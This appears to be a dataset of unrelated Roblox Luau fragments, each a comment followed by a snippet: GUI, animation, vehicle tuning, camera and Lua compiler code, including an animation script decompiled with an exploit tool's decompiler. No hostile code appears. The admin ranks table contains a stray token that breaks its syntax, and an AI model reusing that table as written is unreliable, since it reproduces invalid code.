Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function()
Gui.CanvasPosition = Vector2.new(0, Gui.AbsoluteCanvasSize.Y)
if Entry.TextBox.Text:match("\t") then -- Eat \t
Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "")
return
end
if Window.OnTextChanged then
return Window.OnTextChanged(Entry.TextBox.Text)
end
end)
Gui.ChildAdded:Connect(function()
task.defer(Window.UpdateWindowHeight)
end)
return Window
|
--[[
Returns the health of the system
]]
|
function BaseSystem:getHealth()
return self._health
end
|
------------------------------------------------------------------------
-- writes an instruction of type ABC
-- * calls luaK:code()
------------------------------------------------------------------------
|
function luaK:codeABC(fs, o, a, b, c)
assert(luaP:getOpMode(o) == luaP.OpMode.iABC)
assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0)
assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0)
return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline)
end
|
-- Set player control
|
function GuiController:setPlayerControlsEnabled(enabled: boolean)
local playerControls = self:_getPlayerControls()
if playerControls then
if enabled then
-- Enable movement
playerControls:Enable()
else
-- Disable movement
playerControls:Disable()
end
end
end
|
-- Looks for a folder within workspace.Terrain that contains elements to visualize casts.
|
local function GetFastCastVisualizationContainer(): Instance
local fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME)
if fcVisualizationObjects ~= nil then
return fcVisualizationObjects
end
fcVisualizationObjects = Instance.new("Folder")
fcVisualizationObjects.Name = FC_VIS_OBJ_NAME
fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there.
fcVisualizationObjects.Parent = workspace.Terrain
return fcVisualizationObjects
end
|
------------------------------------------------------------------------
-- parse a repeat-until control structure, body parsed by chunk()
-- * used in statements()
------------------------------------------------------------------------
|
function luaY:repeatstat(ls, line)
-- repeatstat -> REPEAT block UNTIL cond
local fs = ls.fs
local repeat_init = luaK:getlabel(fs)
local bl1, bl2 = {}, {} -- BlockCnt
self:enterblock(fs, bl1, true) -- loop block
self:enterblock(fs, bl2, false) -- scope block
luaX:next(ls) -- skip REPEAT
self:chunk(ls)
self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line)
local condexit = self:cond(ls) -- read condition (inside scope block)
if not bl2.upval then -- no upvalues?
self:leaveblock(fs) -- finish scope
luaK:patchlist(ls.fs, condexit, repeat_init) -- close the loop
else -- complete semantics when there are upvalues
self:breakstat(ls) -- if condition then break
luaK:patchtohere(ls.fs, condexit) -- else...
self:leaveblock(fs) -- finish scope...
luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init) -- and repeat
end
self:leaveblock(fs) -- finish loop
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Parent__1 = script.Parent.Parent;
local l__Humanoid__2 = l__Parent__1:WaitForChild("Humanoid");
local v3, v4 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserNoUpdateOnLoop");
end);
local v5, v6 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserEmoteToRunThresholdChange");
end);
local v7, v8 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserPlayEmoteByIdAnimTrackReturn2");
end);
if not v7 then
end;
local l__ScaleDampeningPercent__9 = script:FindFirstChild("ScaleDampeningPercent");
math.randomseed(tick());
function findExistingAnimationInSet(p1, p2)
if p1 ~= nil then
if p2 == nil then
return 0;
end;
else
return 0;
end;
local l__count__10 = p1.count;
local v11 = 1 - 1;
while true do
if p1[v11].anim.AnimationId == p2.AnimationId then
return v11;
end;
if 0 <= 1 then
if v11 < l__count__10 then
else
break;
end;
elseif l__count__10 < v11 then
else
break;
end;
v11 = v11 + 1;
end;
return 0;
end;
local u1 = {};
local u2 = {};
function configureAnimationSet(p3, p4)
if u1[p3] ~= nil then
local v12, v13, v14 = pairs(u1[p3].connections);
while true do
local v15, v16 = v12(v13, v14);
if v15 then
else
break;
end;
v14 = v15;
v16:disconnect();
end;
end;
u1[p3] = {};
u1[p3].count = 0;
u1[p3].totalWeight = 0;
u1[p3].connections = {};
local u3 = true;
local v17, v18 = pcall(function()
u3 = game:GetService("StarterPlayer").AllowCustomAnimations;
end);
if not v17 then
u3 = true;
end;
local v19 = script:FindFirstChild(p3);
if u3 then
if v19 ~= nil then
table.insert(u1[p3].connections, v19.ChildAdded:connect(function(p5)
configureAnimationSet(p3, p4);
end));
table.insert(u1[p3].connections, v19.ChildRemoved:connect(function(p6)
configureAnimationSet(p3, p4);
end));
local v20, v21, v22 = pairs(v19:GetChildren());
while true do
local v23, v24 = v20(v21, v22);
if v23 then
else
break;
end;
v22 = v23;
if v24:IsA("Animation") then
local v25 = 1;
local l__Weight__26 = v24:FindFirstChild("Weight");
if l__Weight__26 ~= nil then
v25 = l__Weight__26.Value;
end;
u1[p3].count = u1[p3].count + 1;
local l__count__27 = u1[p3].count;
u1[p3][l__count__27] = {};
u1[p3][l__count__27].anim = v24;
u1[p3][l__count__27].weight = v25;
u1[p3].totalWeight = u1[p3].totalWeight + u1[p3][l__count__27].weight;
table.insert(u1[p3].connections, v24.Changed:connect(function(p7)
configureAnimationSet(p3, p4);
end));
table.insert(u1[p3].connections, v24.ChildAdded:connect(function(p8)
configureAnimationSet(p3, p4);
end));
table.insert(u1[p3].connections, v24.ChildRemoved:connect(function(p9)
configureAnimationSet(p3, p4);
end));
end;
end;
end;
end;
if u1[p3].count <= 0 then
local v28, v29, v30 = pairs(p4);
while true do
local v31, v32 = v28(v29, v30);
if v31 then
else
break;
end;
v30 = v31;
u1[p3][v31] = {};
u1[p3][v31].anim = Instance.new("Animation");
u1[p3][v31].anim.Name = p3;
u1[p3][v31].anim.AnimationId = v32.id;
u1[p3][v31].weight = v32.weight;
u1[p3].count = u1[p3].count + 1;
u1[p3].totalWeight = u1[p3].totalWeight + v32.weight;
end;
end;
local v33, v34, v35 = pairs(u1);
while true do
local v36, v37 = v33(v34, v35);
if v36 then
else
break;
end;
local l__count__38 = v37.count;
local v39 = 1 - 1;
while true do
if u2[v37[v39].anim.AnimationId] == nil then
l__Humanoid__2:LoadAnimation(v37[v39].anim);
u2[v37[v39].anim.AnimationId] = true;
end;
if 0 <= 1 then
if v39 < l__count__38 then
else
break;
end;
elseif l__count__38 < v39 then
else
break;
end;
v39 = v39 + 1;
end;
end;
end;
function configureAnimationSetOld(p10, p11)
if u1[p10] ~= nil then
local v40, v41, v42 = pairs(u1[p10].connections);
while true do
local v43, v44 = v40(v41, v42);
if v43 then
else
break;
end;
v42 = v43;
v44:disconnect();
end;
end;
u1[p10] = {};
u1[p10].count = 0;
u1[p10].totalWeight = 0;
u1[p10].connections = {};
local u4 = true;
local v45, v46 = pcall(function()
u4 = game:GetService("StarterPlayer").AllowCustomAnimations;
end);
if not v45 then
u4 = true;
end;
local v47 = script:FindFirstChild(p10);
if u4 then
if v47 ~= nil then
table.insert(u1[p10].connections, v47.ChildAdded:connect(function(p12)
configureAnimationSet(p10, p11);
end));
table.insert(u1[p10].connections, v47.ChildRemoved:connect(function(p13)
configureAnimationSet(p10, p11);
end));
local v48 = 1;
local v49, v50, v51 = pairs(v47:GetChildren());
while true do
local v52, v53 = v49(v50, v51);
if v52 then
else
break;
end;
v51 = v52;
if v53:IsA("Animation") then
table.insert(u1[p10].connections, v53.Changed:connect(function(p14)
configureAnimationSet(p10, p11);
end));
u1[p10][v48] = {};
u1[p10][v48].anim = v53;
local l__Weight__54 = v53:FindFirstChild("Weight");
if l__Weight__54 == nil then
u1[p10][v48].weight = 1;
else
u1[p10][v48].weight = l__Weight__54.Value;
end;
u1[p10].count = u1[p10].count + 1;
u1[p10].totalWeight = u1[p10].totalWeight + u1[p10][v48].weight;
v48 = v48 + 1;
end;
end;
end;
end;
if u1[p10].count <= 0 then
local v55, v56, v57 = pairs(p11);
while true do
local v58, v59 = v55(v56, v57);
if v58 then
else
break;
end;
v57 = v58;
u1[p10][v58] = {};
u1[p10][v58].anim = Instance.new("Animation");
u1[p10][v58].anim.Name = p10;
u1[p10][v58].anim.AnimationId = v59.id;
u1[p10][v58].weight = v59.weight;
u1[p10].count = u1[p10].count + 1;
u1[p10].totalWeight = u1[p10].totalWeight + v59.weight;
end;
end;
local v60, v61, v62 = pairs(u1);
while true do
local v63, v64 = v60(v61, v62);
if v63 then
else
break;
end;
local l__count__65 = v64.count;
local v66 = 1 - 1;
while true do
l__Humanoid__2:LoadAnimation(v64[v66].anim);
if 0 <= 1 then
if v66 < l__count__65 then
else
break;
end;
elseif l__count__65 < v66 then
else
break;
end;
v66 = v66 + 1;
end;
end;
end;
local u5 = {
idle = { {
id = "http://www.roblox.com/asset/?id=507766666",
weight = 1
}, {
id = "http://www.roblox.com/asset/?id=507766951",
weight = 1
}, {
id = "http://www.roblox.com/asset/?id=507766388",
weight = 9
} },
walk = { {
id = "http://www.roblox.com/asset/?id=507777826",
weight = 10
} },
run = { {
id = "http://www.roblox.com/asset/?id=507767714",
weight = 10
} },
swim = { {
id = "http://www.roblox.com/asset/?id=507784897",
weight = 10
} },
swimidle = { {
id = "http://www.roblox.com/asset/?id=507785072",
weight = 10
} },
jump = { {
id = "http://www.roblox.com/asset/?id=507765000",
weight = 10
} },
fall = { {
id = "http://www.roblox.com/asset/?id=507767968",
weight = 10
} },
climb = { {
id = "http://www.roblox.com/asset/?id=507765644",
weight = 10
} },
sit = { {
id = "http://www.roblox.com/asset/?id=2506281703",
weight = 10
} }
};
function scriptChildModified(p15)
local v67 = u5[p15.Name];
if v67 ~= nil then
configureAnimationSet(p15.Name, v67);
end;
end;
script.ChildAdded:connect(scriptChildModified);
script.ChildRemoved:connect(scriptChildModified);
for v68, v69 in pairs(u5) do
configureAnimationSet(v68, v69);
end;
local u6 = "";
local u7 = false;
local u8 = nil;
local u9 = nil;
local u10 = nil;
local u11 = nil;
local u12 = nil;
function stopAllAnimations()
local v70 = u6;
if u7 then
v70 = "idle";
u7 = false;
end;
u6 = "";
u8 = nil;
if u9 ~= nil then
u9:disconnect();
end;
if u10 ~= nil then
u10:Stop();
u10:Destroy();
u10 = nil;
end;
if u11 ~= nil then
u11:disconnect();
end;
if u12 ~= nil then
u12:Stop();
u12:Destroy();
u12 = nil;
end;
return v70;
end;
local u13 = l__ScaleDampeningPercent__9;
function getHeightScale()
if l__Humanoid__2 then
else
return 1;
end;
if not l__Humanoid__2.AutomaticScalingEnabled then
return 1;
end;
local v71 = l__Humanoid__2.HipHeight / 2;
if u13 == nil then
u13 = script:FindFirstChild("ScaleDampeningPercent");
end;
if u13 ~= nil then
v71 = 1 + (l__Humanoid__2.HipHeight - 2) * u13.Value / 2;
end;
return v71;
end;
local function u14(p16)
return p16 * 1.25 / getHeightScale();
end;
local function u15(p17)
local v72 = u14(p17);
local v73 = 0.0001;
local v74 = 0.0001;
local v75 = v72 / 0.5;
local v76 = v72 / 1;
if v72 <= 0.5 then
v73 = 1;
elseif v72 < 1 then
local v77 = (v72 - 0.5) / 0.5;
v73 = 1 - v77;
v74 = v77;
v75 = 1;
v76 = 1;
else
v74 = 1;
end;
u10:AdjustWeight(v73);
u12:AdjustWeight(v74);
u10:AdjustSpeed(v75);
u12:AdjustSpeed(v76);
end;
local u16 = 1;
function setAnimationSpeed(p18)
if u6 == "walk" then
u15(p18);
return;
end;
if p18 ~= u16 then
u16 = p18;
u10:AdjustSpeed(u16);
end;
end;
local u17 = v3 or v4;
function keyFrameReachedFunc(p19)
if p19 == "End" then
if u6 == "walk" then
if u17 == true then
else
u12.TimePosition = 0;
u10.TimePosition = 0;
return;
end;
if u12.Looped ~= true then
u12.TimePosition = 0;
end;
if u10.Looped ~= true then
u10.TimePosition = 0;
return;
end;
else
local v78 = u6;
if u7 then
if u10.Looped then
return;
end;
v78 = "idle";
u7 = false;
end;
playAnimation(v78, 0.15, l__Humanoid__2);
setAnimationSpeed(u16);
end;
end;
end;
function rollAnimation(p20)
local v79 = math.random(1, u1[p20].totalWeight);
local v80 = 1;
while true do
if u1[p20][v80].weight < v79 then
else
break;
end;
v79 = v79 - u1[p20][v80].weight;
v80 = v80 + 1;
end;
return v80;
end;
local function u18(p21, p22, p23, p24)
if p21 ~= u8 then
if u10 ~= nil then
u10:Stop(p23);
u10:Destroy();
end;
if u12 ~= nil then
u12:Stop(p23);
u12:Destroy();
if u17 == true then
u12 = nil;
end;
end;
u16 = 1;
u10 = p24:LoadAnimation(p21);
u10.Priority = Enum.AnimationPriority.Core;
u10:Play(p23);
u6 = p22;
u8 = p21;
if u9 ~= nil then
u9:disconnect();
end;
u9 = u10.KeyframeReached:connect(keyFrameReachedFunc);
if p22 == "walk" then
u12 = p24:LoadAnimation(u1.run[rollAnimation("run")].anim);
u12.Priority = Enum.AnimationPriority.Core;
u12:Play(p23);
if u11 ~= nil then
u11:disconnect();
end;
u11 = u12.KeyframeReached:connect(keyFrameReachedFunc);
end;
end;
end;
function playAnimation(p25, p26, p27)
u18(u1[p25][rollAnimation(p25)].anim, p25, p26, p27);
u7 = false;
end;
function playEmote(p28, p29, p30)
u18(p28, p28.Name, p29, p30);
u7 = true;
end;
local u19 = v5 or v6;
local u20 = "Standing";
function onRunning(p31)
local v81 = u19;
if v81 then
v81 = u7 and l__Humanoid__2.MoveDirection == Vector3.new(0, 0, 0);
end;
if (v81 and l__Humanoid__2.WalkSpeed or 0.75) < p31 then
playAnimation("walk", 0.2, l__Humanoid__2);
setAnimationSpeed(p31 / 16);
u20 = "Running";
return;
end;
if not u7 then
playAnimation("idle", 0.2, l__Humanoid__2);
u20 = "Standing";
end;
end;
function onDied()
u20 = "Dead";
end;
local u21 = 0;
function onJumping()
playAnimation("jump", 0.1, l__Humanoid__2);
u21 = 0.31;
u20 = "Jumping";
end;
function onClimbing(p32)
playAnimation("climb", 0.1, l__Humanoid__2);
setAnimationSpeed(p32 / 5);
u20 = "Climbing";
end;
function onGettingUp()
u20 = "GettingUp";
end;
function onFreeFall()
if u21 <= 0 then
playAnimation("fall", 0.2, l__Humanoid__2);
end;
u20 = "FreeFall";
end;
function onFallingDown()
u20 = "FallingDown";
end;
function onSeated()
u20 = "Seated";
end;
function onPlatformStanding()
u20 = "PlatformStanding";
end;
function onSwimming(p33)
if 1 < p33 then
else
playAnimation("swimidle", 0.4, l__Humanoid__2);
u20 = "Standing";
return;
end;
playAnimation("swim", 0.4, l__Humanoid__2);
setAnimationSpeed(p33 / 10);
u20 = "Swimming";
end;
local u22 = 0;
function stepAnimate(p34)
u22 = p34;
if 0 < u21 then
u21 = u21 - (p34 - u22);
end;
if u20 == "FreeFall" then
if u21 <= 0 then
playAnimation("fall", 0.2, l__Humanoid__2);
return;
end;
end;
if u20 == "Seated" then
playAnimation("sit", 0.5, l__Humanoid__2);
return;
end;
if u20 == "Running" then
playAnimation("walk", 0.2, l__Humanoid__2);
return;
end;
if u20 ~= "Dead" then
if u20 ~= "GettingUp" then
if u20 ~= "FallingDown" then
if u20 ~= "Seated" then
if u20 == "PlatformStanding" then
stopAllAnimations();
end;
else
stopAllAnimations();
end;
else
stopAllAnimations();
end;
else
stopAllAnimations();
end;
else
stopAllAnimations();
end;
end;
l__Humanoid__2.Died:connect(onDied);
l__Humanoid__2.Running:connect(onRunning);
l__Humanoid__2.Jumping:connect(onJumping);
l__Humanoid__2.Climbing:connect(onClimbing);
l__Humanoid__2.GettingUp:connect(onGettingUp);
l__Humanoid__2.FreeFalling:connect(onFreeFall);
l__Humanoid__2.FallingDown:connect(onFallingDown);
l__Humanoid__2.Seated:connect(onSeated);
l__Humanoid__2.PlatformStanding:connect(onPlatformStanding);
l__Humanoid__2.Swimming:connect(onSwimming);
if l__Parent__1.Parent ~= nil then
playAnimation("idle", 0.1, l__Humanoid__2);
u20 = "Standing";
end;
while l__Parent__1.Parent ~= nil do
local v82, v83 = wait(0.1);
stepAnimate(v83);
end;
|
--red 11
|
if k == "r" and ibo.Value==true then
bin.Blade.BrickColor = BrickColor.new("Really red")
bin.Blade2.BrickColor = BrickColor.new("Institutional white")
bin.Blade.White.Enabled=false colorbin.white.Value = false
bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
bin.Blade.Green.Enabled=false colorbin.green.Value = false
bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false
bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
bin.Blade.Red.Enabled=true colorbin.red.Value = true
bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
bin.Blade.Black.Enabled=false colorbin.black.Value = false
bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false
bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Bills Cane" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[
Index into `Event` to get a prop key for attaching to an event on a Roblox
Instance.
Example:
Roact.createElement("TextButton", {
Text = "Hello, world!",
[Roact.Event.MouseButton1Click] = function(rbx)
print("Clicked", rbx)
end
})
]]
|
local Type = require(script.Parent.Parent.Type)
local Event = {}
local eventMetatable = {
__tostring = function(self)
return ("RoactHostEvent(%s)"):format(self.name)
end,
}
setmetatable(Event, {
__index = function(self, eventName)
local event = {
[Type] = Type.HostEvent,
name = eventName,
}
setmetatable(event, eventMetatable)
Event[eventName] = event
return event
end,
})
return Event
|
-- Load libraries
|
while not _G.GetLibraries do wait() end;
local Support, Cheer = _G.GetLibraries(
'F3X/SupportLibrary@^1.0.0',
'F3X/Cheer@^0.0.0'
);
local View = script.Parent;
local Component = Cheer.CreateComponent('BTHSVColorPicker', View);
local Connections = {};
function Component.Start(InitialColor, Callback, SelectionPreventionCallback, PreviewCallback)
-- Show the UI
View.Visible = true;
-- Start the color
InitialColor = InitialColor or Color3.new(1, 1, 1);
Hue, Saturation, Brightness = Color3.toHSV(InitialColor);
Hue, Saturation, Brightness = Cheer.Link(Hue), Cheer.Link(Saturation), Cheer.Link(Brightness);
-- Connect direct inputs to color setting
Cheer.Bind(View.HueOption.Input, { Cheer.Clamp(0, 360), Cheer.Divide(360) }, Hue);
Cheer.Bind(View.SaturationOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Saturation);
Cheer.Bind(View.BrightnessOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Brightness);
-- Connect color to inputs
Cheer.Bind(Hue, { Cheer.Multiply(360), Cheer.Round(0) }, View.HueOption.Input):Trigger();
Cheer.Bind(Saturation, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.SaturationOption.Input):Trigger();
Cheer.Bind(Brightness, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.BrightnessOption.Input):Trigger();
-- Connect color to color display
Cheer.Bind(Hue, UpdateDisplay):Trigger();
Cheer.Bind(Saturation, UpdateDisplay):Trigger();
Cheer.Bind(Brightness, UpdateDisplay):Trigger();
-- Connect mouse to interactive picker
Connections.TrackColor = Support.AddGuiInputListener(View.HueSaturation, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'HS'));
Connections.TrackBrightness = Support.AddGuiInputListener(View.Brightness, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'B'));
Connections.StopTrackingMouse = Support.AddUserInputListener('Ended', 'MouseButton1', true, StopTrackingMouse);
-- Connect OK button to finish color picking
Cheer.Bind(View.OkButton, function ()
-- Clear any preview
if PreviewCallback then
PreviewCallback();
end;
-- Remove the UI
View:Destroy();
-- Return the selected color
Callback(Color3.fromHSV(#Hue, #Saturation, #Brightness));
end);
-- Connect cancel button to clear preview and remove UI
Cheer.Bind(View.CancelButton, function () if PreviewCallback then PreviewCallback() end; View:Destroy(); end);
-- Store reference to callbacks
Component.SelectionPreventionCallback = SelectionPreventionCallback;
Component.PreviewCallback = PreviewCallback;
-- Clear connections when the component is removed
Cheer.Bind(Component.OnRemove, ClearConnections);
end;
function StartTrackingMouse(TrackingType)
-- Only start tracking if not already tracking
if Connections.MouseTracking then
return;
end;
-- Watch mouse movement and adjust current color
Connections.MouseTracking = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input)
-- Track for hue-saturation
if TrackingType == 'HS' then
Hue('Update', Support.Clamp((Input.Position.X - View.HueSaturation.AbsolutePosition.X) / View.HueSaturation.AbsoluteSize.X, 0, 1));
Saturation('Update', 1 - Support.Clamp((Input.Position.Y - View.HueSaturation.AbsolutePosition.Y) / View.HueSaturation.AbsoluteSize.Y, 0, 1));
-- Track for brightness
elseif TrackingType == 'B' then
Brightness('Update', 1 - Support.Clamp((Input.Position.Y - View.Brightness.AbsolutePosition.Y) / View.Brightness.AbsoluteSize.Y, 0, 1));
end;
end);
-- Prevent selection if a callback to do so is provided
if Component.SelectionPreventionCallback then
Component.SelectionPreventionCallback();
end;
end;
function StopTrackingMouse()
-- Releases any tracking
-- Ensure ongoing tracking
if not Connections.MouseTracking then
return;
end;
-- Disable any current tracking
Connections.MouseTracking:disconnect();
Connections.MouseTracking = nil;
end;
function UpdateDisplay()
-- Updates the display based on the current color
-- Get current color
local CurrentColor = Color3.fromHSV(#Hue, #Saturation, #Brightness);
-- Update the color display
View.ColorDisplay.BackgroundColor3 = CurrentColor;
View.HueOption.Bar.BackgroundColor3 = CurrentColor;
View.SaturationOption.Bar.BackgroundColor3 = CurrentColor;
View.BrightnessOption.Bar.BackgroundColor3 = CurrentColor;
-- Update the interactive color picker
View.HueSaturation.Cursor.Position = UDim2.new(
#Hue, View.HueSaturation.Cursor.Position.X.Offset,
1 - #Saturation, View.HueSaturation.Cursor.Position.Y.Offset
);
-- Update the interactive brightness picker
View.Brightness.ColorBG.BackgroundColor3 = CurrentColor;
View.Brightness.Cursor.Position = UDim2.new(
View.Brightness.Cursor.Position.X.Scale, View.Brightness.Cursor.Position.X.Offset,
1 - #Brightness, View.Brightness.Cursor.Position.Y.Offset
);
-- Update the preview if enabled
if Component.PreviewCallback then
Component.PreviewCallback(CurrentColor);
end;
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
return Component;
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Owner", };ffcvg13
{4, "HeadAdmin", {"",0}, };
{3, "Admin", {"",0}, };
{2, "Mod", {"",0}, };
{1, "VIP", {"",0}, };
{0, "NonAdmin", };
};
|
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GThrotShift=1
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _Boost = 0
local _TCount = 0
local _TPsi = 0
local _BH = 0
local _BT = 0
local _NH = 0
local _NT = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _TCSAmt = 0
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
---------------------------------------------------------------
|
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
s.Camera:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
end
end
end
function onChildRemoved(something)
if (something.Name == "SeatWeld") then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human Found")
game.Players:findFirstChild(human.Parent.Name).PlayerGui.Camera:remove()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
--[[ Modes
1 - Normal
2 - First Person
--]]
|
Mode = 1
local Look = Vector2.new()
Camera = workspace.CurrentCamera
Player = game.Players.LocalPlayer
UserSettings().GameSettings.Changed:Connect(function(ch)
if ch == "MouseSensitivity" then
Sensitivity = UserSettings().GameSettings.MouseSensitivity/2
end
end)
function HidePlayer()
if Player.Character then
for i,k in ipairs(Player.Character:GetChildren())do
if k:IsA("BasePart") then
k.Transparency = 1
if k.Name == "Head" then
k.face.Transparency = 1
end
elseif k:IsA("Accessory") then
k.Handle.Transparency = 1
end
end
end
end
function ShowPlayer()
if Player.Character then
for i,k in ipairs(Player.Character:GetChildren())do
if k:IsA("BasePart") and k.Name ~= "HumanoidRootPart" then
k.Transparency = 0
if k.Name == "Head" then
k.face.Transparency = 0
end
elseif k:IsA("Accessory") then
k.Handle.Transparency = 0
end
end
end
end
function CharacterRespawn()
Player.CharacterAdded:Wait()
local Character = Player.Character
repeat
Character = Player.Character
if Character then
HRP = Character:WaitForChild("HumanoidRootPart")
end
until Character
Character:WaitForChild("Humanoid").Died:Connect(function()
Mode = 1
end)
end
CharacterRespawn()
|
-----------------------------
|
local TeamOnly = Settings.TeamOnly
local TeamColor = Settings.TeamColor
local TeamName = Settings.TeamName
|
--[[
Reloads all players characters
]]
|
local ServerStorage = game:GetService("ServerStorage")
local getPlayersInGame = require(ServerStorage.Source.MinigameUtilities.getPlayersInGame)
return function()
for _, player in pairs(getPlayersInGame()) do
player:LoadCharacter()
end
end
|
-- There's a bug with CharacterAppearanceLoaded. This still seems to be an issue as my testing went.
-- https://devforum.roblox.com/t/characterappearanceloaded-not-working-with-localscripts/265106/7
-- This solution does work. And this really only happens when the character is detected to be spawned by the server.
|
RE_Character_Appearance_Loaded.OnClientEvent:Connect(function()
while not Local_Player.Character do wait() end
if Local_Player.Character then
PartUtility.MakeInvisible(Local_Player.Character)
-- Yes I know this is terrible, but CharacterAppearanceLoaded is not working
for i=1,5 do
wait(0.25)
PartUtility.MakeInvisible(Local_Player.Character)
end
end
end)
|
-- / Wind Shake / --
|
WindShake:SetDefaultSettings(WindShakeSettings)
WindShake:Init()
for _, ShakeObject in pairs(game.Workspace:GetDescendants()) do
if ShakeObject:IsA("BasePart") then
if table.find(ShakableObjects, ShakeObject.Name) then
WindShake:AddObjectShake(ShakeObject, WindShakeSettings)
end
end
end
game.Workspace.DescendantAdded:Connect(function(Object)
if table.find(ShakableObjects, Object.Name) then
WindShake:AddObjectShake(Object, WindShakeSettings)
end
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Glitch" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[Steering]]
|
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .07 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .14 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
|
local freeSpace = Vector3.new(3,2.8,3)
local box = script.Parent
local contents = box.Contents
local lidOffset = 3
function r(num)
return math.random(-math.abs(num*100),math.abs(num*100))/100
end
local function weldBetween(a, b)
--Make a new Weld and Parent it to a.
local weld = Instance.new("ManualWeld", a)
weld.Part0 = a
weld.Part1 = b
--Get the CFrame of b relative to a.
weld.C0 = a.CFrame:inverse() * b.CFrame
--Return the reference to the weld so that you can change it later.
return weld
end
box.Base.Touched:connect(function(oldHit)
if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) or
(oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup")))
then
local hit
if oldHit.Parent:IsA("Model") and oldHit.Parent ~= workspace.Items then
hit = oldHit.Parent:Clone()
oldHit.Parent:Destroy()
elseif oldHit.Parent == workspace.Items then
hit = oldHit:Clone()
oldHit:Destroy()
end
if hit.Draggable then
hit.Draggable:Destroy()
end
if hit:IsA("BasePart") then
hit.Anchored = true
hit.CanCollide = false
local vary = freeSpace-hit.Size
-- random x,y,z
print(vary,"as variance")
--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
weldBetween(hit, box.PrimaryPart)
hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100)
elseif hit:IsA("Model") then
for _,v in next,hit:GetDescendants() do
if v:IsA("BasePart") then
v.Anchored = true
v.CanCollide = false
weldBetween(v, box.PrimaryPart)
end
end
local modelSize= hit:GetExtentsSize()
local vary = freeSpace-modelSize
--hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)))
hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100))
end -- end of if hit is a basepart or model
hit.Parent = contents
end
end)
|
--[[
@param Player Player The player (or nil) to be made the owner of this Ownership.
--]]
|
function Ownership:SetOwner(Player)
self.Owner = Player
